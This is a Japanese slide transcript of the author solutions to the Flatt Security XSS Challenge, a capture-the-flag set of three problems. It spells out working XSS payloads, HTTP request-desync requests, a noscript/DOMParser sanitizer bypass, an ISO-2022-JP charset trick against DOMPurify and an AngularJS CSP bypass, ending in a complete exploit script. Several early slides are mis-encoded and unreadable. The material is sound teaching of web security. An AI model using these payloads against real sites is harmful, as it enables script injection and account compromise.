Flatt Security XSS Challenge 解答・解説

Transcript

1. by @hamayanhamayan by @ryotkak by @masatokinugawa XSS Challenge 解答・解説資料 2024/12/05 Flatt Security Beer Bash #1
2. 本資料について t 2024年11月に公開したFlatt Security XSS Challenge(https:// challenge-xss.quiz.flatt.training/)の各作問者による解答・解説資料で すQ t ※出題ページは予告なく非公開になる可能性がありま9 t XSS Challenge解説も含むイベントとして2024年12月5日に開催 された「Flatt Security Beer Bash #1」で使用されたスライド をまとめたものです。
3. 944
   $IBMMFOHF
   IBNBZBOIBNBZBO !IBNBZBOIBNBZBO
4. ͲͷΑ͏ͳ໰୊͔ͩͬͨ  ೖྗͨ͠)5.-͕
   දࣔ͞Ε·͢
5. ΰʔϧɿBMFSU PSJHJO
   Λ࣮ߦ  944 $SPTT4JUF
   4DSJQUJOH ͕੒ޭ͍ͯ͠Δ͜ͱΛࣔͨ͢ΊʹBMFSU PSJHJO Λಈ͔͠·͢ɻ
   ͳͷͰɺTDSJQUBMFSU PSJHJO TDSJQUΛಈ͔ͨ͘͠ͳΓ·͢ɻ
6. ࢼͯ͠ΈΑ͏  5IF
   BOTXFS
   JT
   TDSJQUBMFSU PSJHJO TDSJQU
   
   ΛೖΕͯΈΔɻ Ξϥʔτ͕ग़ͳ͍ʜ
7. ιʔείʔυΛݟͯΈΔ  JOEFYKT ड͚औͬͨೖྗΛ%0.1VSJGZΛ࢖ͬͯαχλΠζ͔ͯ͠ΒຒΊࠐΜͰ͍Δɻ JOEFYFKT ςϯϓϨʔτΤϯδϯFKTΛ࢖ͬͯຒΊࠐΈɻ)5.-λάΛೖΕ͍ͨͷͰ 
 
   ʜ
   ͰຒΊࠐΈɻ
8. αχλΠζɿ%0.1VSJGZ %0.1VSJGZ
   %0.QVSJGZ
   JT
   B
   %0.POMZ
   TVQFSGBTU
   
 VCFSUPMFSBOU
   944
   TBOJUJ[FS
   GPS
   )5.-
   
 .BUI.-
   BOE
   47( 944αχλΠβʔɻαχλΠζ
   
   ແ֐Խɻ
   ةݥͳೖྗΛ҆શͳܗʹม׵͢Δɻ 
9. ࠓճͷ໰୊఺͸ʜ  ͜͜Ͱ͢ʂUFYUBSFBλά΁ͷຒΊࠐΈͰ͢ʂ
10. UFYUBSFBλά  ෳ਺ߦͷϓϨʔϯςΩετฤू͕Ͱ͖ΔೖྗϘοΫεΛ༻ҙ͠·͢ɻ
    ॏཁͳಛ௃͕͋ΓɺUFYUBSFB಺෦Ͱ͋Ε͹λάΛೖΕͯ΋ͦͷ··දࣔ͞Ε·͢ɻ ͭ·ΓɺUFYUBSFB͕དྷΔ·Ͱ͸೚ҙͷλά͕ೝࣝ͞Εͳ͍ͱ͍͏͜ͱͰ͢ɻ
    )5.-λάΛ্ख͘ॲཧ͢Δ%0.1VSJGZͱλάΛೝࣝ͠ͳ͍UFYUBSFBλάɺ 
 Կ͔͕ىͤͦ͜͏Ͱ͢ɻ
11. ղ๏  EJW
    JElUFYUBSFBTDSJQUBMFSU PSJHJO TDSJQUzEJW
12. ղ๏%0.1VSJGZͰͷݟ͑ํ  EJW
    JElUFYUBSFBTDSJQUBMFSU PSJHJO TDSJQUzEJW λάΈ͍ͨͳJE໊Λ࣋ͭEJWλάͱͯ͠ղऍ͞ΕΔ %0.1VSJGZͰ͸EJWλάʹ୯ʹJEଐੑ͕ 
 ͍͍ͭͯΔ͚ͩͰɺ୯ମͰ͸944ʹܨ͕Β ͳ͍ͱ൑அͯͦ͠ͷ··௨͢
13. ղ๏UFYUBSFBʹຒΊࠐΜͩޙͷݟ͑ํ  EJW
    JElUFYUBSFBTDSJQUBMFSU PSJHJO TDSJQUzEJW *EଐੑͷதͷUFYUBSFBͰͻͱ·ͱ·Γ UFYUBSFB
    OBNFlNFTTBHFz UFYUBSFB ͦͷޙͷTDSJQU෦෼͕)5.-λάͱͯ͠ղऍ͞ΕΔ
14. ͪͳΈʹ  
    TBOJUJ[FE
     UFYUBSFBλά͸จࣈࢀর΋ड͚ೖΕΔͷͰɺͪΌΜͱΤεέʔϓͨ͠ঢ়ଶͰೖΕͯ͋͛Ε͹ 
 ҆શͰ͢ɻ
15. ◦ ಉ༷ͷςΫχοΫ͕UJUMFλάͰ࢖͑ͨ͜ͱ͸*OUJHSJUJ
    0DUPCFS
    
    
    944
    $IBMMFOHFͰग़୊͞Ε͍ͯͯ஌͍ͬͯͨ
    IUUQTNJ[VSFQPTUJOUJHSJUJPDUPCFS YTTDIBMMFOHF
    ◦ ݪཧΛΑ͘ཧղ͠ͳ͍··਺ϲ݄์ஔʜ
    ◦ 'MBUU
    4FDVSJUZͰϒϩάΛࣥචͨ͠ͱ͖ʹ 
 +BWB4DSJQUͰͷTDSJQUจࣈྻʹؔ͢Δ 
 ஫ҙ఺Λॻͨ͘Ίɺ)5.-ͷ࢓༷Λݟ͍ͯΔͱ 
 ۮવʮ&TDBQBCMF
    SBX
    UFYU
    FMFNFOUTʯΛൃݟ
    ◦ UJUMFλάͰUJUMF͕ग़Δ·Ͱதͷλά͕ೝࣝ͞Εͳ͍ͷ͸͜ͷछผͷ࢓༷ͩͬͨ
    ◦ ࢓༷ΛಡΉͱɺଞʹ΋UFYUBSFBλά͕&TDBQBCMF
    SBX
    UFYU
    FMFNFOUTʹଐ͍ͯ͠Δʂ
    ◦ ࠓճͷ໰୊ ͕࣌ؒ͋Ε͹ɿ࡞໰ܦҢ 
16. 
17. Flatt Security XSSチャレンジ Challenge #2
18. Flatt Security XSSチャレンジ #2 function previewContent() { const input = document.getElementById('input').value; document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case } window.onload = async function () { const params = new URLSearchParams(window.location.search); if (params.has('draft_id')) { const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); const content = await resp.text(); document.getElementById('input').value = content.slice(0, 100); previewContent(); } }
19. Flatt Security XSSチャレンジ #2 (セリフ) まず、当該チャレンジのソースコードの内、どこでXSSができそうかを考えます。 フロントエンドのソースコードを見てみると、このようにサーバー側から送り返された下書 きデータを、サニタイズ後にinnerHTMLに挿入しています。 ここだけを見ると、サニタイザをバイパスできればXSSができそうです。
20. Flatt Security XSSチャレンジ #2 draft_id = query.get('id', [''])[0] if draft_id in drafts: escaped = html.escape(drafts[draft_id]) self .send_response(200) self .send_data(self.content_type_text, bytes(escaped, 'utf-8'))
21. Flatt Security XSSチャレンジ #2 (セリフ) しかしながら、サーバー側のソースコードを見ると、html.escape関数によりレスポンスが エスケープされています。これは、小なり記号と大なり記号を含むいくつかの特殊文字を エスケープしているため、一切のタグを挿入することが不可能となっています。この状態 ではXSSどころか、文字に対してスタイルを当てることすらできません。
22. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100: self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
23. 問題点1 (セリフ) この状態を打開するために、他の箇所を確認します。ここでは、クライアント側から送ら れてきたPOSTリクエストを処理するコードが書かれています。
24. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100: self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
25. 問題点1 (セリフ) ここで問題になってくるのが、赤枠で囲った部分です。このコードでは、Content-Length が100より大きければ、リクエストボディを読み取らずにレスポンスを返しています。 これ単体では問題がないのですが、このサーバー内の他の箇所に着目すると問題が見 えてきます。
26. 問題点1 class RequestHandler(BaseHTTPRequestHandler): protocol_version = 'HTTP/1.1'
27. 問題点1 (セリフ) まず初めに着目いただきたいのが、こちらの点です。 Pythonのhttp.serverモジュールにおいては、デフォルトでHTTP/1.0が仕様されるので すが、ここで意図的にHTTP/1.1に上書きされています。
28. 問題点1 def send_data(self, content_type, body): self.send_header('Content-Type', content_type) self.send_header('Connection', 'keep-alive') self.send_header('Content-Length', len(body)) self.end_headers() self.wfile.write(body)
29. 次に着目いただきたいのが、こちらの点です。ここでは、レスポンスを返す際に Connection: keep-aliveヘッダを付与しています。 これにより、一つのリクエストが終了した後もコネクションが閉じられないようになります。 問題点1 (セリフ)
30. def do_POST(self): content_length = int(self.headers.get('Content-Length' )) if content_length > 100: self.send_response(413) self.send_data(self.content_type_text, b'Post is too large') return body = self.rfile.read(content_length) draft_id = str(uuid4()) drafts[draft_id] = body.decode( 'utf-8') self.send_response(200) self.send_data(self.content_type_text, bytes(draft_id, 'utf-8')) 問題点1
31. 問題点1 (セリフ) さて、先程の例に戻りましょう。 こちらのコードでは、Content-Lengthが100より大きければコネクション内からリクエスト ボディを読みとらないような実装となっています。 実は、Pythonのhttp.serverは、コネクション内からリクエストボディを読み取らないと、そ のボディがコネクション内から破棄されない仕様となっています。
32. POST / HTTP/1.1 Host: challenge.example Content-Length: 101 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA 問題点1
33. 問題点1 (セリフ) つまり、このようなリクエストを送った場合、101文字のAがコネクション内に残るような構 図となります。 当該のコネクションを使用するリクエストがこのリクエストだけならば問題ないのですが...
34. POST / HTTP/1.1 Host: challenge.example Content-Length: 101 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAGET / HTTP/1.1 Host: challenge.example 問題点1 サーバーが読み取ったライン
35. 問題点1 (セリフ) 先ほど述べたように、チャレンジ内ではHTTP/1.1とConnection: keep-aliveヘッダによ るコネクションの再使用が発生します。 そのため、一度目のリクエストでは赤線の箇所までしか処理されず、このように後続のリ クエストに影響を及ぼすことになります。 さて、これをどのように利用すればサーバーサイドで行われているエスケープを回避で きるでしょうか？
36. 問題点1 else: self.send_response(404) self.send_data(self.content_type_text, bytes('Path %s not found' % self.path, 'utf-8'))
37. 問題点1 (セリフ) まず、Python側のコードのうち、こちらの箇所に注目します。こちらのコードでは、リクエ ストされたルートが存在しなかった場合に、リクエストされたパスとともにエラーメッセー ジを返すコードとなっています。 一見、このコードからXSSできそうに見えますが、よくよく見るとContent-Type: text/plainが返されているため、このエンドポイントではXSSできません。
38. 問題点1 (セリフ) また、仮にtext/htmlが返されていた場合でも、ブラウザはリクエストで送信するパスを自 動的にURLエンコードするため、HTMLを挿入するために必要な小なり記号や大なり記 号がエンコードされて返されてしまいます。 しかしながら、このエンドポイントを先程の挙動とうまく組み合わせて使うことで、XSSを 行うことが可能となります。
39. 問題点1 function previewContent() { const input = document.getElementById('input').value; document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case } window.onload = async function () { const params = new URLSearchParams(window.location.search); if (params.has('draft_id')) { const resp = await fetch(`/api/drafts?id=${encodeURIComponent(params.get('draft_id'))}`); const content = await resp.text(); document.getElementById('input').value = content.slice(0, 100); previewContent(); } }
40. 問題点1 (セリフ) さて、一番初めに紹介した、フロントエンド側のソースコードに戻りましょう。 こちらのコードでは、/api/drafts?id=...というエンドポイントに対してGETリクエストを飛ば したうえで、そのレスポンスをHTMLとして解釈しています。
41. POST / HTTP/1.1 Host: challenge.example Content-Length: 120 GET /=<s> HTTP/1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA 問題点1 リクエストボディ
42. 問題点1 (セリフ) つまり、あらかじめこういったリクエストを送信しておき、コネクション内にデータを詰まら せたうえで...
43. POST / HTTP/1.1 Host: challenge.example Content-Length: 120 GET /=<s> HTTP/1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 問題点1
44. 問題点1 (セリフ) ドラフト取得のエンドポイントが実行されるようにブラウザを遷移させることで、本来想定 されている/api/drafts?id=...というエンドポイントではなく、/=<s>というパスへリクエスト を送信させることが可能です。 ブラウザ側は/=<s>へのリクエストをリクエストボディとして送信しているため、先程述べ たブラウザによるパスエンコードの影響を受けず、小なり記号や大なり記号を含むリクエ ストを送信させることができます。 結果として、ドラフトとして<s>タグを含む文字列が返されることとなります。
45. function previewContent() { const input = document.getElementById('input').value; document.getElementById('preview').innerHTML = sanitizeHtml(input); // just in case } 問題点2
46. 問題点2 (セリフ) これにより、下書きデータとして任意のHTMLをフロントエンドに送ることが可能となりま した。 しかしながら、フロントエンド側には依然としてサニタイザが存在します。そのため、この サニタイザをどうにかして回避する必要が出てきます。
47. 問題点2 const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator = doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
48. 問題点2 (セリフ) さて、サニタイザのコードを確認します。 ここでは、属性をすべて削除したうえで、許可されていないタグをすべて削除するという 実装になっています。
49. 問題点2 DANGEROUS_TAGS: [ 'script', 'iframe', 'style', 'object', 'embed', 'meta', 'link', 'base', 'frame', 'frameset', 'svg', 'math', 'template', ],
50. 問題点2 (セリフ) 許可されていないタグの一覧を見ると、このようなリストとなっています。 属性値が全て削除されていることを考えると、これらのタグが禁止された状態でXSSを するのはかなり厳しいように思えます。
51. 問題点2 const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator = doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
52. 問題点2 (セリフ) ここで先程のコードに戻り、赤線で囲った箇所に注目します。 ここでは、DOMParserを使用してHTMLをパースしています。ブラウザのAPIを用いて HTMLをパースしているため、問題は起きないように思えますが...
53. 問題点2
54. 問題点2 (セリフ) HTMLの仕様書を読むと、DOMParserにおいてtext/htmlをパースするときはブラウジン グコンテキストが存在しないため、scriptingが無効化されると書かれています。 scriptingが無効化されていると何が起きるのでしょうか。
55. 問題点2
56. 問題点2 (セリフ) 実は、noscriptタグはscriptingが有効化されている場合のみ、子要素を生のテキスト データとして扱うという仕様となっています。 実際にページが描画される際はscriptingが有効化されているのに対して、DOMParser においてはscriptingが無効化されているため、差異が発生することになります。
57. 問題点2 <noscript> <!--</noscript><img src onerror=alert(1)>--> </noscript>
58. 問題点2 (セリフ) つまり、このようなHTMLがあったとき、DOMParserはこのようにパースを行い、 noscriptタグの中に単一のコメントがあると誤認しますが...
59. 問題点2 <noscript> <!--</noscript><img src onerror=alert(1)>--> </noscript>
60. 問題点2 (セリフ) ブラウザはこのようにパースします。 コメントが生のテキストとして扱われるようになったことで、DOMParserではコメントの内 部に置かれていたnoscriptの閉じタグと、onerror属性を含むimgタグが通常のHTMLタ グとして解釈されることがわかります。 これにより、先程のサニタイザをバイパスして任意のHTMLを挿入することが可能とな り、XSSが成立します。
61. POST / HTTP/1.1 Host: challenge.example Content-Length: 172 GET /=<noscript><!--</noscript><img/src/onerror=alet(origin)> HTTP/1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 解法
62. 解法 (セリフ) この挙動と先ほどの挙動を組み合わせるため、ブラウザにこのようなリクエストを送信さ せておくことで、次回下書きの取得が実施された際に先程のサニタイザをバイパスする ペイロードを返し、alert(origin)を実行することが可能となります。
63. POST / HTTP/1.1 Host: challenge.example Content-Length: 172 GET /=<noscript><!--</noscript><img/src/onerror=alet(origin)> HTTP/1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGET /api/drafts?id=... HTTP/1.1 Host: challenge.example 解法 サーバーが1つ目のリクエストとして解釈するライン
64. 解法 (セリフ) 内部的には、サーバー側は赤線までを1つ目のリクエストとして解釈し、2つめの /api/draftsへのリクエストが送信された際にリクエストメソッドの前に別のリクエストライン を挿入されることにより、本来想定されていないレスポンスが返される、といった結果に なります。
65. おまけ const doc = new DOMParser().parseFromString(html, "text/html"); const nodeIterator = doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT); while (nodeIterator.nextNode()) { const currentNode = nodeIterator.referenceNode; … if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) { currentNode. remove(); } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) { for (const attribute of currentNode.attributes) { currentNode.removeAttribute(attribute.name); } } }
66. おまけ (セリフ) ちなみに... このサニタイザ、実はHTMLの仕様を知らなくとも解けてしまう簡単な非想定 解が存在します。 気になる方はぜひ探してみてください！
67. おわり
68. Flatt Security XSS Challenge #3 解説 2024/12/05 Flatt Security Beer Bash #1 / Masato Kinugawa
69. どんな問題だったか • シンプルなHTMLビューア • HTMLの表示結果をパーマリンクでシェア可能 • 結果はリンクを開くと即座に表示 • フロントエンドで完結
71. HTMLビューアの制限 • 一部の要素のみが許可 • 属性は全削除 <s>test</s> <script>alert()</script> <a href="//flatt.tech/">test</a> <s>test</s> <a>test</a> INPUT OUTPUT 詳しくみていきます
72. 表示部分のJavaScript render関数がユーザー入力を受け取りプレビューを行う function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
73. renderの処理 1 まずDOMPurifyでサニタイズ function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
74. renderの処理 2 サニタイズされた文字列でHTML形式のBlobを作成 function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
75. renderの処理 3 作成されたBlob URLをiframeに表示 function render(html) { const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob); input.value = sanitizedHtml; window.open(blobURL, "iframe"); createPermalink(sanitizedHtml); }
76. DOMPurifyの構成 • 要素に関する指定は無し = デフォルト許可の要素が使用可能 • *_ATTR の設定で属性は全て不許可 const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false }); 構成は厳密でサニタイズそのものに問題はなさそう
77. Blob作成部分 どこか気になる点はありますか？ const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob);
78. Blob作成部分 何かが足りない気がしませんか？ const blob = new Blob([sanitizedHtml], { "type": "text/html" }); const blobURL = URL.createObjectURL(blob);
79. Blob作成部分 charset指定がない！！ const blob = new Blob([sanitizedHtml], { "type": "text/html;charset=UTF-8" }); const blobURL = URL.createObjectURL(blob); charset指定がないとBlobのcharsetはどうなる？
80. charsetの判断方法(ざっくり) 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3. charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 (※Safariは5で推測を行わず、設定の"デフォルトのエンコーディング"で表示) 5で想定外の文字コードを適用させられれば何かできそう？
81. チャレンジのBlobの場合 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3. charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 ✘ ✘ ✘ ❶ Blob URLはiframeにある ❷ Blob URLは親から作成されたものでSame Originに相当 親は<meta>タグでUTF-8を指定してる。 よってUTF-8が継承される、うーん？ ❶ ❷
82. iframeへのロード部分 name属性がついた<iframe>に向けてwindow.open() window.open(blobURL, "iframe"); <iframe name="iframe" style="width: 80%;height:200px"></iframe> ここを合わせることで<iframe>をロード先にしている ポイント：windowの名前はwindow.openでロード先に利用される
83. window.name • windowの名前はwindow.name プロパティからも設定可能 • この値はナビゲーション後も保持される <!–- https://site-A/ でホスト --> <script> window.name = "test";//windowの名前を設定 location = "https://site-B/";//site-Bに移動後window.nameにアクセスしてもまだ "test" </script> ※この方法は現在はChromeでのみ動作
84. ここで生じる1つの疑問 じゃあ、"iframe" という名前をチャレンジの親windowにつけたら window.open(blobURL, "iframe") はどこをロード先にするの？ <!–- https://site-A/ でホスト --> <script> window.name = "iframe"; location = "https://challenge-kinugawa.quiz.flatt.training/?html=AAA"; </script> もともとの<iframe>？それとも親？
85. 答え 親だー！！ Blobが topに出てきた！
86. Blobがtopにある時：charsetの判断 1. BOM(Byte Order Mark)を見る(response bodyの先頭のバイト) 2. Content-Typeヘッダーを見る (Blobではtype部分が相当) 3. charset指定の<meta>タグを探す 4. 自身がiframeにあり親がSame Originなら親のcharsetを継承 5. ここまで判断できなければページに含まれるバイト値から推測 文字コードの自動選択発動！！ ✘ ✘ ✘ ✘
87. ISO-2022-JP • 古き良き日本の文字コード • 特定のバイト列が出現すると2バイトで1文字を構成するモードに • 例： [0x1B] $ B • [0x1B] ( B が出現すると通常モード(ASCII)に戻る A A A [0x1B] $ B % F % 9 % H ! z [0x1B] ( B B B B ※制御文字や空白は [0xXX]で表現 AAAテスト★BBB decode
88. ISO-2022-JP • 他では出現しない特徴的なバイト列のため自動検出が容易 • 文字コードがないページに [0x1B] $ B を発見 ISO-2022-JPで表示 • 誤認させるのも簡単 • 2バイトで1文字のモードに切り替わると、ASCIIモードに入るま でバイトが食いつぶされるためXSSの危険あり： [0x1B] $ B <p[0x20]id=" [0x1B] ( B <img[0x20]src=x[0x20]onerror=...>"> 腫�蜆就 <img[0x20]src=x[0x20]onerror=...>"> decode
89. • 既にASCIIモード中に [0x1B] ( B が出現すると無視されるバイ ト列として扱われる ISO-2022-JP <[0x1B](Bscript>alert(/XSS/)<[0x1B](B/script> <script>alert(/XSS/)</script> decode OK /XSS/ この辺りを使ってもう一度DOMPurifyのバイパスを考える
90. DOMPurifyバイパス再考 • 今回は属性が使えない • 食いつぶして属性の中身を露出させるシナリオは無理 [0x1B] $ B <p[0x20]id=" [0x1B] ( B <img[0x20]src=x[0x20]onerror=...>"> [0x1B] $ B <p></p> sanitize どこかに<>を置ける場所があれば…
91. <style> • DOMPurifyはデフォルトで許可 • 内側にHTMLタグっぽい文字列があるとstyleごと消される • mXSS対策 • < の後にアルファベットなどが続くケースを拒否 • ただしそれ以外のケースでは <> は残ったままになる a <style><a></style> <style><@></style> a <style><@></style> sanitize
92. <style> + ISO-2022-JP • 無視されるバイト列を < の間に挟み… • <style>の開始タグを破壊すれば…？ [0x1B]$B<style>[0x1B](B<[0x1B](Bscript>alert(1)<[0x1B](B/script></style> sanitize [0x1B]$B<style>[0x1B](B<[0x1B](Bscript>alert(1)<[0x1B](B/script></style> decode 首�跂 � <script>alert(1)</script></style> 任意のタグが書けた！！
93. 最後の一歩：CSPバイパス • metaタグにCSPあり • cdnjs.cloudflare.comが許可 • 様々なJSライブラリがここに存在 • CSPバイパスに便利なAngularJSも存在 default-src 'none'; script-src 'sha256-EojffqsgrDqc3mLbzy899xGTZN4StqzlstcSYu24doI=' cdnjs.cloudflare.com; style-src 'unsafe-inline'; frame-src blob:
94. AngularJSによるCSPバイパス 以下でeval禁止のCSP制限下でもJavaScriptを実行可能 <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js></script> <img src=x ng-app ng-on-error=win=$event.target.ownerDocument.defaultView;win.alert(win.origin)> このタグの間に無視されるバイトを挟んで<style>の中に置けばOK！
95. 全体的な流れ 1. "iframe"という名前のwindowからナビゲーション 2. Blobをtopで開かせて文字コードの自動選択をトリガー 3. ISO-2022-JPを選択させ、DOMPurifyでサニタイズされた HTMLの構造を破壊 4. CDNからのCSPバイパス
96. 最終的な解 <script> window.name="iframe"; eater = "\x1B$B"; ascii = "\x1B(B"; xss = ` ${eater}<style>${ascii} <${ascii}script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js> <${ascii}/script> <${ascii}img src=x ng-app ng-on-error=win=$event.target.ownerDocument.defaultView;win.alert(win.origin)>`; location = `https://challenge-kinugawa.quiz.flatt.training/?html=${encodeURIComponent(xss)}`; </script>
98. クリアしたものだけが拝める 食べられた <style> の残骸
99. おまけ1 • ChromeはかつてBlobのtypeでのcharset指定を無視していた • 中で<meta>タグ指定がなければ常に自動選択が起きる状態だった • CVE-2020-6562で修正、charset指定を尊重するように • https://issues.chromium.org/issues/40052417 • 今回のチャレンジはこの時の発見に少し手を加えたもの const blob = new Blob([sanitizedHtml], { "type": "text/html;charset=UTF-8" // ignored }); const blobURL = URL.createObjectURL(blob);
100. おまけ2 • 実はISO-2022-JPの自動選択のXSSリスクに2010年から対処し ていたブラウザが存在する • その名は…
101. おまけ2 • 実はISO-2022-JPの自動選択のXSSリスクに2010年から対処し ていたブラウザが存在する • その名は… Internet Explorer!!!!
102. MS10-090 https://support.microsoft.com/ja-jp/topic/-ms10-090-internet-explorer- %E7%94%A8%E3%81%AE%E7%B4%AF%E7%A9%8D%E7%9A%84%E3%81%AA%E3%82%BB%E3%82%AD% E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E6%9B%B4%E6%96%B0%E3%83%97%E3%83%AD%E3 %82%B0%E3%83%A9%E3%83%A0-39563fa5-addd-5e92-4a8b-959024a7b6ab 先進的？！
103. なぜ無効にされた？ • ありえないバイト列で特殊文字が生成されていたから(だと思う) • 自動選択でXSSが刺さるリスクが高かった [0x1B] $ B [0x01] [0x03] [0x1B] ( B [0x1B] $ B [0x01] [0x07] [0x1B] ( B [0x1B] $ B [0x01] [0x08] [0x1B] ( B [0x1B] $ B [0x01] [0x1D] [0x1B] ( B [0x1B] $ B [0x01] [0x1F] [0x1B] ( B [0x1B] $ B [0x01] [0x3D] [0x1B] ( B q" q& q' q< q> q\ 結局、明示的にISO-2022-JPをcharsetに指定したときのデコードはこの動作のままでEOLを迎えた